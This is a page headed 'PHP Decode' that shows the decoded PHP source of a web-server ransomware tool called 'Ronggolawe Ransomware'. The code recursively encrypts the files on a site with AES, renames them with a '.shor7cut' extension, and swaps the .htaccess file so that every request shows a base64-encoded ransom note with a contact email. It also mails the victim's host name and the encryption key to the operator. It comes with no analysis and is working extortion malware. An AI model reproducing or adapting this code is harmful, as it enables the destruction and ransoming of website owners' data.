PHP Decode

<?php 
error_reporting(0); 
set_time_limit(0); 
ini_set('memory_limit', '-1'); 
class deRanSomeware 
{ 
   public function shcpackInstall(){ 
    if(!file_exists(".htashor7cut")){ 
      rename(".htaccess", ".htashor7cut"); 
      if(fwrite(fopen('.htaccess', 'w'), "#Bug7sec Team
DirectoryIndex shor7cut.php
ErrorDocument 404 /shor7cut.php")){ 
            echo '<i class="fa fa-thumbs-o-up" aria-hidden="true"></i> .htaccess (Default Page)<br>'; 
      } 
      if(file_put_contents("shor7cut.php", base64_decode("PCFET0NUWVBFIGh0bWw+DQo8aHRtbD4NCjxoZWFkPg0KICAgPHRpdGxlPkF3ZXNvbWVXYXJlPC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpib2R5IHsNCiAgICBiYWNrZ3JvdW5kOiAjMUExQzFGOw0KICAgIGNvbG9yOiAjZTJlMmUyOw0KfQ0KYXsNCiAgIGNvbG9yOmdyZWVuOw0KfQ0KPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5Pg0KPGNlbnRlcj4NCjxwcmU+DQogICAgICANCiAgICAgICAgICAgIC4tIiItLg0KICAgICAgICAgICAvIC4tLS4gXA0KICAgICAgICAgIC8gLyAgICBcIFwNCiAgICAgICAgICB8IHwgICAgfCB8DQogICAgICAgICAgfCB8Li0iIi0ufA0KICAgICAgICAgLy8vYC46Ojo6LmBcDQogICAgICAgIHx8fCA6Oi8gIFw6OiA7DQogICAgICAgIHx8OyA6OlxfXy86OiA7DQogICAgICAgICBcXFwgJzo6OjonIC8NCiAgICAgICAgICBgPSc6LS4uLSdgDQpZb3VyIHNpdGUgaXMgbG9ja2VkLCBwbGVhc2UgY29udGFjdCB2aWEgZW1haWw6DQogICAgIC1bIDxmb250IGNvbG9yPSJncmVlbiI+dG8xMzM3ZGF5W2F0XWdtYWlsLmNvbTwvZm9udD4gXS0NCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NClRoaXMgaXMgYSBub3RpY2Ugb2YgPGEgaHJlZj0iaHR0cHM6Ly9lbi53aWtpcGVkaWEub3JnL3dpa2kvUmFuc29td2FyZSI+cmFuc29td2FyZTwvYT4uPGJyPg0KSG93IHRvIHJlc3RvcmUgdGhlIGJlZ2lubmluZz8NClBsZWFzZSBjb250YWN0IHVzIHZpYSBlbWFpbCBsaXN0ZWQNCjwvcHJlPg0KPC9jZW50ZXI+DQo8L2JvZHk+DQo8L2h0bWw+"))){ 
            echo '<i class="fa fa-thumbs-o-up" aria-hidden="true"></i>  shor7cut.php (Default Page)<br>'; 
      } 
    } 
   } 
   public function shcpackUnstall(){ 
 
      if( file_exists(".htashor7cut") ){ 
        if( unlink(".htaccess") && unlink("shor7cut.php") ){ 
          echo '<i class="fa fa-thumbs-o-down" aria-hidden="true"></i> .htaccess (Default Page)<br>'; 
          echo '<i class="fa fa-thumbs-o-down" aria-hidden="true"></i> shor7cut.php (Default Page)<br>'; 
        } 
        rename(".htashor7cut", ".htaccess"); 
      } 
 
   } 
 
   public function plus(){ 
      flush(); 
      ob_flush(); 
   } 
   public function locate(){ 
        return getcwd(); 
    } 
   public function shcdirs($dir,$method,$key){ 
        switch ($method) { 
          case '1': 
            deRanSomeware::shcpackInstall(); 
          break; 
          case '2': 
           deRanSomeware::shcpackUnstall(); 
          break; 
        } 
        foreach(scandir($dir) as $d) 
        { 
            if($d!='.' && $d!='..') 
            { 
                $locate = $dir.DIRECTORY_SEPARATOR.$d; 
                if(!is_dir($locate)){ 
                   if(  deRanSomeware::kecuali($locate,"AwesomeWare.php")  && deRanSomeware::kecuali($locate,".png")  && deRanSomeware::kecuali($locate,".htaccess")  && deRanSomeware::kecuali($locate,"shor7cut.php") &&  deRanSomeware::kecuali($locate,"index.php") && deRanSomeware::kecuali($locate,".htashor7cut") ){ 
                     switch ($method) { 
                        case '1': 
                           deRanSomeware::shcEnCry($key,$locate); 
                           deRanSomeware::shcEnDesDirS($locate,"1"); 
                        break; 
                        case '2': 
                           deRanSomeware::shcDeCry($key,$locate); 
                           deRanSomeware::shcEnDesDirS($locate,"2"); 
                        break; 
                     } 
                   } 
                }else{ 
                  deRanSomeware::shcdirs($locate,$method,$key); 
                } 
            } 
            deRanSomeware::plus(); 
        } 
        deRanSomeware::report($key); 
   } 
 
   public function report($key){ 
        $message.= "=========     Ronggolawe Ransomware    =========
"; 
        $message.= "Website : ".$_SERVER['HTTP_HOST']; 
        $message.= "Key     : ".$key; 
        $message.= "========= Ronggolawe (2016) Ransomware =========
"; 
        $subject = "Report Ransomeware"; 
        $headers = "From: Ransomware <[email protected]>
"; 
        mail("-- YOUR EMAIL --",$subject,$message,$headers); 
   } 
 
   public function shcEnDesDirS($locate,$method){ 
      switch ($method) { 
        case '1': 
          rename($locate, $locate.".shor7cut"); 
        break; 
        case '2': 
          $locates = str_replace(".shor7cut", "", $locate); 
          rename($locate, $locates); 
        break; 
      } 
   } 
 
   public function shcEnCry($key,$locate){ 
      $data = file_get_contents($locate); 
      $iv = mcrypt_create_iv( 
          mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC), 
          MCRYPT_DEV_URANDOM 
      ); 
 
      $encrypted = base64_encode( 
          $iv . 
          mcrypt_encrypt( 
              MCRYPT_RIJNDAEL_128, 
              hash('sha256', $key, true), 
              $data, 
              MCRYPT_MODE_CBC, 
              $iv 
          ) 
      ); 
      if(file_put_contents($locate,  $encrypted )){ 
         echo '<i class="fa fa-lock" aria-hidden="true"></i> <font color="#00BCD4">Locked</font> (<font color="#40CE08">Success</font>) <font color="#FF9800">|</font> <font color="#2196F3">'.$locate.'</font> <br>'; 
      }else{ 
         echo '<i class="fa fa-lock" aria-hidden="true"></i> <font color="#00BCD4">Locked</font> (<font color="red">Failed</font>) <font color="#FF9800">|</font> '.$locate.' <br>'; 
      } 
   } 
 
   public function shcDeCry($key,$locate){ 
      $data = base64_decode( file_get_contents($locate) ); 
      $iv = substr($data, 0, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)); 
 
      $decrypted = rtrim( 
          mcrypt_decrypt( 
              MCRYPT_RIJNDAEL_128, 
              hash('sha256', $key, true), 
              substr($data, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)), 
              MCRYPT_MODE_CBC, 
              $iv 
          ), 
          "" 
      ); 
      if(file_put_contents($locate,  $decrypted )){ 
         echo '<i class="fa fa-unlock" aria-hidden="true"></i> <font color="#FFEB3B">Unlock</font> (<font color="#40CE08">Success</font>) <font color="#FF9800">|</font> <font color="#2196F3">'.$locate.'</font> <br>'; 
      }else{ 
         echo '<i class="fa fa-unlock" aria-hidden="true"></i> <font color="#FFEB3B">Unlock</font> (<font color="red">Failed</font>) <font color="#FF9800">|</font> <font color="#2196F3">'.$locate.'</font> <br>'; 
      } 
   } 
 
 
 
   public function kecuali($ext,$name){ 
        $re = "/({$name})/"; 
        preg_match($re, $ext, $matches); 
        if($matches[1]){ 
            return false; 
        } 
            return true; 
     } 
} 
 
if($_POST['submit']){ 
switch ($_POST['method']) { 
   case '1': 
      deRanSomeware::shcdirs(deRanSomeware::locate(),"1",$_POST['key']); 
   break; 
   case '2': 
     deRanSomeware::shcdirs(deRanSomeware::locate(),"2",$_POST['key']); 
   break; 
} 
}else{ 
?>